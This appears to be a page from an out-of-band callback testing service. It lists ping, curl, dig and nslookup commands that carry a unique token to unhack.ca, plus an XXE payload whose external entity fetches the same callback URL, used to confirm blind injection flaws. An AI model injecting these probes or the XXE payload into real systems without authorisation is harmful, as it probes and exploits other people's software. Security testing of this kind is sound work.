$ ping -c1 -p 00e18156803f86da05045b66c78ec800 unhack.ca
 
$ curl http://unhack.ca/p/e18156803f86da05045b66c78ec8
 
$ dig e18156803f86da05045b66c78ec8 @unhack.ca
 
$ dig e18156803f86da05045b66c78ec8.ns.unhack.ca
 
C:\> nslookup e18156803f86da05045b66c78ec8 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e18156803f86da05045b66c78ec8">]>
    <foo>&xxe;</foo>
 
Waiting for ping...